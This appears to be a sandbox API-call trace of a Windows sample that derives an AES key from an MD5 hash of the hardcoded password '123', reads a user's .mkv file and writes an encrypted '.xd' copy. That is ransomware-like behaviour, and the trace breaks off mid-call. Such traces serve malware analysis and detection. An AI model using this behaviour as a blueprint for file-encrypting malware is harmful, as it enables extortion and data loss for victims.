[0067.369] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0067.370] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0067.370] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629380, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629380*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0067.370] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.370] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.370] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.370] CloseHandle (hObject=0x0) returned 0 [0067.370] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.370] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0067.370] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0067.371] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.371] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.371] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.371] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.371] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.371] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.371] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0067.371] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.371] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.371] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0067.371] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.371] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.371] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.371] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.372] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.372] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0067.372] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0067.372] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0067.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0067.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0067.372] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0067.372] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa1a8) returned 1 [0067.373] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.373] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.373] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0067.373] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.373] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.373] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.373] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.374] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.374] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.374] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.374] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.374] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.374] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.374] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.374] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.374] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0067.374] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.374] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.375] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.375] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.375] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.375] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.375] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.375] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.375] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.375] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.375] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.375] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.375] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.375] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.375] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.375] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.375] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.375] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.375] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0067.376] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0067.376] CryptCreateHash (in: hProv=0x17aa1a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0067.376] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.376] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.376] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.376] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629560, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.376] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0067.376] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629700, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.376] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.376] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.377] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.377] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0067.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217f8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0067.377] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0067.377] CryptHashData (hHash=0x164c370, pbData=0x1629570, dwDataLen=0x3, dwFlags=0x1) returned 1 [0067.377] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.377] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.377] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.377] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.377] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.377] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.377] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.377] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0067.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0067.378] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0067.378] CryptDeriveKey (in: hProv=0x17aa1a8, Algid=0x6610, hBaseData=0x164c370, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c3f0) returned 1 [0067.378] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.378] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.378] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.378] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.378] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.378] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.378] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0067.378] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0067.379] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0067.379] CryptDestroyHash (hHash=0x164c370) returned 1 [0067.379] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.379] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.379] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.379] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.379] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.379] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\0xsy.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0067.379] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.379] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0067.379] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.379] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.380] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.380] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly")) returned 0x10 [0067.380] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\0xsy.mkv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0067.381] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.381] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.381] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.381] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.383] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0067.383] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xf753, lpOverlapped=0x0) returned 1 [0067.385] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0067.388] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.388] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.388] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.388] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0067.389] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.389] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.389] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0067.389] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.389] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0067.389] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.389] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.389] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.389] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0067.389] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0067.390] GetProcAddress 